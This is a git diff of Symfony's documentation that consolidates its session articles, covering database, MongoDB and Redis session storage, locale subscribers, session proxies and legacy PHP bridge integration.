+        # config/packages/framework.yaml
+        framework:
+            session:
+                # ...
+                handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler
 
-            $services->set('session.namespacedattributebag', NamespacedAttributeBag::class);
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- ... -->
+                <framework:session
+                    handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework->session()
+                ->handlerId(PdoSessionHandler::class)
+            ;
         };
 
-.. _session-avoid-start:
+Configuring the Session Table and Column Names
+..............................................
 
-Avoid Starting Sessions for Anonymous Users
--------------------------------------------
+The table used to store sessions is called ``sessions`` by default and defines
+certain column names. You can configure these values with the second argument
+passed to the ``PdoSessionHandler`` service:
 
-Sessions are automatically started whenever you read, write or even check for
-the existence of data in the session. This may hurt your application performance
-because all users will receive a session cookie. In order to prevent that, you
-must *completely* avoid accessing the session.
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler:
+                arguments:
+                    - '%env(DATABASE_URL)%'
+                    - { db_table: 'customer_session', db_id_col: 'guid' }
+
+    .. code-block:: xml
 
-More about Sessions
--------------------
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" public="false">
+                    <argument>%env(DATABASE_URL)%</argument>
+                    <argument type="collection">
+                        <argument key="db_table">customer_session</argument>
+                        <argument key="db_id_col">guid</argument>
+                    </argument>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(PdoSessionHandler::class)
+                ->args([
+                    env('DATABASE_URL'),
+                    ['db_table' => 'customer_session', 'db_id_col' => 'guid'],
+                ])
+            ;
+        };
+
+These are parameters that you can configure:
+
+``db_table`` (default ``sessions``):
+    The name of the session table in your database;
+
+``db_username``: (default: ``''``)
+    The username used to connect when using the PDO configuration (when using
+    the connection based on the ``DATABASE_URL`` env var, it overrides the
+    username defined in the env var).
+
+``db_password``: (default: ``''``)
+    The password used to connect when using the PDO configuration (when using
+    the connection based on the ``DATABASE_URL`` env var, it overrides the
+    password defined in the env var).
+
+``db_id_col`` (default ``sess_id``):
+    The name of the column where to store the session ID (column type: ``VARCHAR(128)``);
+
+``db_data_col`` (default ``sess_data``):
+    The name of the column where to store the session data (column type: ``BLOB``);
+
+``db_time_col`` (default ``sess_time``):
+    The name of the column where to store the session creation timestamp (column type: ``INTEGER``);
+
+``db_lifetime_col`` (default ``sess_lifetime``):
+    The name of the column where to store the session lifetime (column type: ``INTEGER``);
+
+``db_connection_options`` (default: ``[]``)
+    An array of driver-specific connection options;
+
+``lock_mode`` (default: ``LOCK_TRANSACTIONAL``)
+    The strategy for locking the database to avoid *race conditions*. Possible
+    values are ``LOCK_NONE`` (no locking), ``LOCK_ADVISORY`` (application-level
+    locking) and ``LOCK_TRANSACTIONAL`` (row-level locking).
+
+Preparing the Database to Store Sessions
+........................................
+
+Before storing sessions in the database, you must create the table that stores
+the information. The session handler provides a method called
+:method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler::createTable`
+to set up this table for you according to the database engine used::
+
+    try {
+        $sessionHandlerService->createTable();
+    } catch (\PDOException $exception) {
+        // the table could not be created for some reason
+    }
+
+If you prefer to set up the table yourself, it's recommended to generate an
+empty database migration with the following command:
+
+.. code-block:: terminal
+
+    $ php bin/console doctrine:migrations:generate
+
+Then, find the appropriate SQL for your database below, add it to the migration
+file and run the migration with the following command:
+
+.. code-block:: terminal
+
+    $ php bin/console doctrine:migrations:migrate
+
+.. _mysql:
+
+MariaDB/MySQL
++++++++++++++
+
+.. code-block:: sql
+
+    CREATE TABLE `sessions` (
+        `sess_id` VARBINARY(128) NOT NULL PRIMARY KEY,
+        `sess_data` BLOB NOT NULL,
+        `sess_lifetime` INTEGER UNSIGNED NOT NULL,
+        `sess_time` INTEGER UNSIGNED NOT NULL,
+        INDEX `sessions_sess_lifetime_idx` (`sess_lifetime`)
+    ) COLLATE utf8mb4_bin, ENGINE = InnoDB;
+
+.. note::
+
+    A ``BLOB`` column type (which is the one used by default by ``createTable()``)
+    stores up to 64 kb. If the user session data exceeds this, an exception may
+    be thrown or their session will be silently reset. Consider using a ``MEDIUMBLOB``
+    if you need more space.
+
+PostgreSQL
+++++++++++
+
+.. code-block:: sql
+
+    CREATE TABLE sessions (
+        sess_id VARCHAR(128) NOT NULL PRIMARY KEY,
+        sess_data BYTEA NOT NULL,
+        sess_lifetime INTEGER NOT NULL,
+        sess_time INTEGER NOT NULL
+    );
+    CREATE INDEX sessions_sess_lifetime_idx ON sessions (sess_lifetime);
+
+Microsoft SQL Server
+++++++++++++++++++++
+
+.. code-block:: sql
+
+    CREATE TABLE sessions (
+        sess_id VARCHAR(128) NOT NULL PRIMARY KEY,
+        sess_data NVARCHAR(MAX) NOT NULL,
+        sess_lifetime INTEGER NOT NULL,
+        sess_time INTEGER NOT NULL,
+        INDEX sessions_sess_lifetime_idx (sess_lifetime)
+    );
+
+.. _session-database-mongodb:
+
+Store Sessions in a NoSQL Database (MongoDB)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Symfony includes a
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MongoDbSessionHandler`
+to store sessions in the MongoDB NoSQL database. First, make sure to have a
+working MongoDB connection in your Symfony application as explained in the
+`DoctrineMongoDBBundle configuration`_ article.
+
+Then, register a new handler service for ``MongoDbSessionHandler`` and pass it
+the MongoDB connection as argument:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler:
+                arguments:
+                    - '@doctrine_mongodb.odm.default_connection'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <services>
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler" public="false">
+                    <argument type="service">doctrine_mongodb.odm.default_connection</argument>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
+
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(MongoDbSessionHandler::class)
+                ->args([
+                    service('doctrine_mongodb.odm.default_connection'),
+                ])
+            ;
+        };
+
+Next, use the :ref:`handler_id <config-framework-session-handler-id>`
+configuration option to tell Symfony to use this service as the session handler:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            session:
+                # ...
+                handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- ... -->
+                <framework:session
+                    handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework->session()
+                ->handlerId(MongoDbSessionHandler::class)
+            ;
+        };
+
+.. note::
+
+    MongoDB ODM 1.x only works with the legacy driver, which is no longer
+    supported by the Symfony session class. Install the ``alcaeus/mongo-php-adapter``
+    package to retrieve the underlying ``\MongoDB\Client`` object or upgrade to
+    MongoDB ODM 2.0.
+
+That's all! Symfony will now use your MongoDB server to read and write the
+session data. You do not need to do anything to initialize your session
+collection. However, you may want to add an index to improve garbage collection
+performance. Run this from the `MongoDB shell`_:
+
+.. code-block:: javascript
+
+    use session_db
+    db.session.createIndex( { "expires_at": 1 }, { expireAfterSeconds: 0 } )
+
+Configuring the Session Field Names
+...................................
+
+The collection used to store sessions defines certain field names. You can
+configure these values with the second argument passed to the
+``MongoDbSessionHandler`` service:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler:
+                arguments:
+                    - '@doctrine_mongodb.odm.default_connection'
+                    - { id_field: '_guid', 'expiry_field': 'eol' }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler" public="false">
+                    <argument type="service">doctrine_mongodb.odm.default_connection</argument>
+                    <argument type="collection">
+                        <argument key="id_field">_guid</argument>
+                        <argument key="expiry_field">eol</argument>
+                    </argument>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
+
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(MongoDbSessionHandler::class)
+                ->args([
+                    service('doctrine_mongodb.odm.default_connection'),
+                    ['id_field' => '_guid', 'expiry_field' => 'eol'],
+                ])
+            ;
+        };
+
+These are parameters that you can configure:
+
+``id_field`` (default ``_id``):
+    The name of the field where to store the session ID;
+
+``data_field`` (default ``data``):
+    The name of the field where to store the session data;
+
+``time_field`` (default ``time``):
+    The name of the field where to store the session creation timestamp;
+
+``expiry_field`` (default ``expires_at``):
+    The name of the field where to store the session lifetime.
+
+.. index::
+    single: Sessions, saving locale
+
+Migrating Between Session Handlers
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If your application changes the way sessions are stored, use the
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MigratingSessionHandler`
+to migrate between old and new save handlers without losing session data.
+
+This is the recommended migration workflow:
+
+#. Switch to the migrating handler, with your new handler as the write-only one.
+   The old handler behaves as usual and sessions get written to the new one::
+
+       $sessionStorage = new MigratingSessionHandler($oldSessionStorage, $newSessionStorage);
+
+#. After your session gc period, verify that the data in the new handler is correct.
+#. Update the migrating handler to use the old handler as the write-only one, so
+   the sessions will now be read from the new handler. This step allows easier rollbacks::
+
+       $sessionStorage = new MigratingSessionHandler($newSessionStorage, $oldSessionStorage);
+
+#. After verifying that the sessions in your application are working, switch
+   from the migrating handler to the new handler.
+
+.. index::
+    single: Sessions, saving locale
+
+.. _locale-sticky-session:
+
+Making the Locale "Sticky" during a User's Session
+--------------------------------------------------
+
+Symfony stores the locale setting in the Request, which means that this setting
+is not automatically saved ("sticky") across requests. But, you *can* store the
+locale in the session, so that it's used on subsequent requests.
+
+Creating a LocaleSubscriber
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Create a :ref:`new event subscriber <events-subscriber>`. Typically,
+``_locale`` is used as a routing parameter to signify the locale, though you
+can determine the correct locale however you want::
+
+    // src/EventSubscriber/LocaleSubscriber.php
+    namespace App\EventSubscriber;
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\HttpKernel\Event\RequestEvent;
+    use Symfony\Component\HttpKernel\KernelEvents;
+
+    class LocaleSubscriber implements EventSubscriberInterface
+    {
+        private $defaultLocale;
+
+        public function __construct(string $defaultLocale = 'en')
+        {
+            $this->defaultLocale = $defaultLocale;
+        }
+
+        public function onKernelRequest(RequestEvent $event)
+        {
+            $request = $event->getRequest();
+            if (!$request->hasPreviousSession()) {
+                return;
+            }
+
+            // try to see if the locale has been set as a _locale routing parameter
+            if ($locale = $request->attributes->get('_locale')) {
+                $request->getSession()->set('_locale', $locale);
+            } else {
+                // if no explicit locale has been set on this request, use one from the session
+                $request->setLocale($request->getSession()->get('_locale', $this->defaultLocale));
+            }
+        }
+
+        public static function getSubscribedEvents()
+        {
+            return [
+                // must be registered before (i.e. with a higher priority than) the default Locale listener
+                KernelEvents::REQUEST => [['onKernelRequest', 20]],
+            ];
+        }
+    }
+
+If you're using the :ref:`default services.yaml configuration
+<service-container-services-load-example>`, you're done! Symfony will
+automatically know about the event subscriber and call the ``onKernelRequest``
+method on each request.
+
+To see it working, either set the ``_locale`` key on the session manually (e.g.
+via some "Change Locale" route & controller), or create a route with the
+:ref:`_locale default <translation-locale-url>`.
+
+.. sidebar:: Explicitly Configure the Subscriber
+
+    You can also explicitly configure it, in order to pass in the
+    :ref:`default_locale <config-framework-default_locale>`:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            services:
+                # ...
+
+                App\EventSubscriber\LocaleSubscriber:
+                    arguments: ['%kernel.default_locale%']
+                    # uncomment the next line if you are not using autoconfigure
+                    # tags: [kernel.event_subscriber]
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <services>
+                    <service id="App\EventSubscriber\LocaleSubscriber">
+                        <argument>%kernel.default_locale%</argument>
+
+                        <!-- uncomment the next line if you are not using autoconfigure -->
+                        <!-- <tag name="kernel.event_subscriber"/> -->
+                    </service>
+                </services>
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            use App\EventSubscriber\LocaleSubscriber;
+
+            $container->register(LocaleSubscriber::class)
+                ->addArgument('%kernel.default_locale%')
+                // uncomment the next line if you are not using autoconfigure
+                // ->addTag('kernel.event_subscriber')
+            ;
+
+Now celebrate by changing the user's locale and seeing that it's sticky
+throughout the request.
+
+Remember, to get the user's locale, always use the :method:`Request::getLocale
+<Symfony\\Component\\HttpFoundation\\Request::getLocale>` method::
+
+    // from a controller...
+    use Symfony\Component\HttpFoundation\Request;
+
+    public function index(Request $request)
+    {
+        $locale = $request->getLocale();
+    }
+
+Setting the Locale Based on the User's Preferences
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You might want to improve this technique even further and define the locale
+based on the user entity of the logged in user. However, since the
+``LocaleSubscriber`` is called before the ``FirewallListener``, which is
+responsible for handling authentication and setting the user token on the
+``TokenStorage``, you have no access to the user which is logged in.
+
+Suppose you have a ``locale`` property on your ``User`` entity and want to use
+this as the locale for the given user. To accomplish this, you can hook into
+the login process and update the user's session with this locale value before
+they are redirected to their first page.
+
+To do this, you need an event subscriber on the ``security.interactive_login``
+event::
+
+    // src/EventSubscriber/UserLocaleSubscriber.php
+    namespace App\EventSubscriber;
+
+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\HttpFoundation\RequestStack;
+    use Symfony\Component\Security\Http\Event\InteractiveLoginEvent;
+    use Symfony\Component\Security\Http\SecurityEvents;
+
+    /**
+     * Stores the locale of the user in the session after the
+     * login. This can be used by the LocaleSubscriber afterwards.
+     */
+    class UserLocaleSubscriber implements EventSubscriberInterface
+    {
+        private $requestStack;
+
+        public function __construct(RequestStack $requestStack)
+        {
+            $this->requestStack = $requestStack;
+        }
+
+        public function onInteractiveLogin(InteractiveLoginEvent $event)
+        {
+            $user = $event->getAuthenticationToken()->getUser();
+
+            if (null !== $user->getLocale()) {
+                $this->requestStack->getSession()->set('_locale', $user->getLocale());
+            }
+        }
+
+        public static function getSubscribedEvents()
+        {
+            return [
+                SecurityEvents::INTERACTIVE_LOGIN => 'onInteractiveLogin',
+            ];
+        }
+    }
+
+.. caution::
+
+    In order to update the language immediately after a user has changed their
+    language preferences, you also need to update the session when you change
+    the ``User`` entity.
+
+.. index::
+   single: Sessions, Session Proxy, Proxy
+
+Session Proxies
+---------------
+
+The session proxy mechanism has a variety of uses and this article demonstrates
+two common ones. Rather than using the regular session handler, you can create
+a custom save handler by defining a class that extends the
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Proxy\\SessionHandlerProxy`
+class.
+
+Then, define the class as a :ref:`service
+<service-container-creating-service>`. If you're using the :ref:`default
+services.yaml configuration <service-container-services-load-example>`, that
+happens automatically.
+
+Finally, use the ``framework.session.handler_id`` configuration option to tell
+Symfony to use your session handler instead of the default one:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            session:
+                # ...
+                handler_id: App\Session\CustomSessionHandler
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <framework:config>
+                <framework:session handler-id="App\Session\CustomSessionHandler"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use App\Session\CustomSessionHandler;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework->session()
+                ->handlerId(CustomSessionHandler::class)
+            ;
+        };
+
+Keep reading the next sections to learn how to use the session handlers in
+practice to solve two common use cases: encrypt session information and define
+read-only guest sessions.
+
+Encryption of Session Data
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you want to encrypt the session data, you can use the proxy to encrypt and
+decrypt the session as required. The following example uses the `php-encryption`_
+library, but you can adapt it to any other library that you may be using::
+
+    // src/Session/EncryptedSessionProxy.php
+    namespace App\Session;
+
+    use Defuse\Crypto\Crypto;
+    use Defuse\Crypto\Key;
+    use Symfony\Component\HttpFoundation\Session\Storage\Proxy\SessionHandlerProxy;
+
+    class EncryptedSessionProxy extends SessionHandlerProxy
+    {
+        private $key;
+
+        public function __construct(\SessionHandlerInterface $handler, Key $key)
+        {
+            $this->key = $key;
+
+            parent::__construct($handler);
+        }
+
+        public function read($id)
+        {
+            $data = parent::read($id);
+
+            return Crypto::decrypt($data, $this->key);
+        }
+
+        public function write($id, $data)
+        {
+            $data = Crypto::encrypt($data, $this->key);
+
+            return parent::write($id, $data);
+        }
+    }
+
+Read-only Guest Sessions
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+There are some applications where a session is required for guest users, but
+where there is no particular need to persist the session. In this case you can
+intercept the session before it is written::
+
+    // src/Session/ReadOnlySessionProxy.php
+    namespace App\Session;
+
+    use App\Entity\User;
+    use Symfony\Component\HttpFoundation\Session\Storage\Proxy\SessionHandlerProxy;
+    use Symfony\Component\Security\Core\Security;
+
+    class ReadOnlySessionProxy extends SessionHandlerProxy
+    {
+        private $security;
+
+        public function __construct(\SessionHandlerInterface $handler, Security $security)
+        {
+            $this->security = $security;
+
+            parent::__construct($handler);
+        }
+
+        public function write($id, $data)
+        {
+            if ($this->getUser() && $this->getUser()->isGuest()) {
+                return;
+            }
+
+            return parent::write($id, $data);
+        }
+
+        private function getUser()
+        {
+            $user = $this->security->getUser();
+            if (is_object($user)) {
+                return $user;
+            }
+        }
+    }
+
+.. _session-avoid-start:
+
+Integrating with Legacy Applications
+------------------------------------
+
+If you're integrating the Symfony full-stack Framework into a legacy
+application that starts the session with ``session_start()``, you may still be
+able to use Symfony's session management by using the PHP Bridge session.
+
+If the application has its own PHP save handler, you can specify ``null``
+for the ``handler_id``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            session:
+                storage_factory_id: session.storage.factory.php_bridge
+                handler_id: ~
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <framework:config>
+                <framework:session storage-factory-id="session.storage.factory.php_bridge"
+                    handler-id="null"
+                />
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
+                ->storageFactoryId('session.storage.factory.php_bridge')
+                ->handlerId(null)
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HttpFoundation\Session\Session;
+        use Symfony\Component\HttpFoundation\Session\Storage\PhpBridgeSessionStorage;
+
+        // legacy application configures session
+        ini_set('session.save_handler', 'files');
+        ini_set('session.save_path', '/tmp');
+        session_start();
+
+        // Get Symfony to interface with this existing session
+        $session = new Session(new PhpBridgeSessionStorage());
+
+        // symfony will now interface with the existing PHP session
+        $session->start();
+
+Otherwise, if the problem is that you cannot avoid the application
+starting the session with ``session_start()``, you can still make use of
+a Symfony based session save handler by specifying the save handler as in
+the example below:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            session:
+                storage_factory_id: session.storage.factory.php_bridge
+                handler_id: session.handler.native_file
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <framework:config>
+                <framework:session storage-id="session.storage.php_bridge"
+                    handler-id="session.storage.native_file"
+                />
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
+                ->storageFactoryId('session.storage.factory.php_bridge')
+                ->handlerId('session.storage.native_file')
+            ;
+        };
 
-.. toctree::
-    :maxdepth: 1
+.. note::
 
-    session/database
-    session/locale_sticky_session
-    session/php_bridge
-    session/proxy_examples
+    If the legacy application requires its own session save handler, do not
+    override this. Instead set ``handler_id: ~``. Note that a save handler
+    cannot be changed once the session has been started. If the application
+    starts the session before Symfony is initialized, the save handler will
+    have already been set. In this case, you will need ``handler_id: ~``.
+    Only override the save handler if you are sure the legacy application
+    can use the Symfony save handler without side effects and that the session
+    has not been started before Symfony is initialized.
 
-.. _`HttpFoundation component`: https://symfony.com/components/HttpFoundation
+.. _`phpredis extension`: https://github.com/phpredis/phpredis
+.. _`DoctrineMongoDBBundle configuration`: https://symfony.com/doc/master/bundles/DoctrineMongoDBBundle/config.html
+.. _`MongoDB shell`: https://docs.mongodb.com/manual/mongo/
+.. _`php-encryption`: https://github.com/defuse/php-encryption
diff --git a/session/database.rst b/session/database.rst
deleted file mode 100644
index f14ef7a0656..00000000000
--- a/session/database.rst
+++ /dev/null
@@ -1,663 +0,0 @@
-.. index::
-    single: Session; Database Storage
-
-Store Sessions in a Database
-============================
-
-Symfony stores sessions in files by default. If your application is served by
-multiple servers, you'll need to use a database instead to make sessions work
-across different servers.
-
-Symfony can store sessions in all kinds of databases (relational, NoSQL and
-key-value) but recommends key-value databases like Redis to get best performance.
-
-Store Sessions in a key-value Database (Redis)
-----------------------------------------------
-
-This section assumes that you have a fully-working Redis server and have also
-installed and configured the `phpredis extension`_.
-
-You have two different options to use Redis to store sessions:
-
-(1) The first PHP-based option is to configure Redis session handler directly in
-the server ``php.ini`` file:
-
-.. code-block:: ini
-
-    ; php.ini
-    session.save_handler = redis
-    session.save_path = "tcp://192.168.0.178:6379?auth=REDIS_PASSWORD"
-
-(2) The second Symfony-based option is to configure Redis sessions as follows.
-
-First, define a Symfony service for the connection to the Redis server:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-            Redis:
-                # you can also use \RedisArray, \RedisCluster or \Predis\Client classes
-                class: Redis
-                calls:
-                    - connect:
-                        - '%env(REDIS_HOST)%'
-                        - '%env(int:REDIS_PORT)%'
-
-                    # uncomment the following if your Redis server requires a password
-                    # - auth:
-                    #     - '%env(REDIS_PASSWORD)%'
-                    
-                    # uncomment the following if your Redis server requires a user and a password (when user is not default)
-                    # - auth:
-                    #     - ['%env(REDIS_USER)%','%env(REDIS_PASSWORD)%']
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <!-- you can also use \RedisArray, \RedisCluster or \Predis\Client classes -->
-                <service id="Redis" class="Redis">
-                    <call method="connect">
-                        <argument>%env(REDIS_HOST)%</argument>
-                        <argument>%env(int:REDIS_PORT)%</argument>
-                    </call>
-
-                    <!-- uncomment the following if your Redis server requires a password:
-                    <call method="auth">
-                        <argument>%env(REDIS_PASSWORD)%</argument>
-                    </call> -->
-
-                    <!-- uncomment the following if your Redis server requires a user and a password (when user is not default):
-                    <call method="auth">
-                        <argument>%env(REDIS_USER)%</argument>
-                        <argument>%env(REDIS_PASSWORD)%</argument>
-                    </call> -->
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // ...
-        $container
-            // you can also use \RedisArray, \RedisCluster or \Predis\Client classes
-            ->register('Redis', \Redis::class)
-            ->addMethodCall('connect', ['%env(REDIS_HOST)%', '%env(int:REDIS_PORT)%'])
-            // uncomment the following if your Redis server requires a password:
-            // ->addMethodCall('auth', ['%env(REDIS_PASSWORD)%'])
-            // uncomment the following if your Redis server requires a user and a password (when user is not default):
-            // ->addMethodCall('auth', ['%env(REDIS_USER)%', '%env(REDIS_PASSWORD)%'])
-        ;
-
-Now pass this ``\Redis`` connection as an argument of the service associated to the
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\RedisSessionHandler`.
-This argument can also be a ``\RedisArray``, ``\RedisCluster``, ``\Predis\Client``,
-and ``RedisProxy``:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-            Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
-                arguments:
-                    - '@Redis'
-                    # you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                    # which define the prefix to use for the keys to avoid collision on the Redis server
-                    # and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
-                    # - { 'prefix': 'my_prefix', 'ttl': 600 }
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <services>
-            <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
-                <argument type="service" id="Redis"/>
-                <!-- you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                     which define the prefix to use for the keys to avoid collision on the Redis server
-                     and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
-                <argument type="collection">
-                    <argument key="prefix">my_prefix</argument>
-                    <argument key="ttl">600</argument>
-                </argument> -->
-            </service>
-        </services>
-
-    .. code-block:: php
-
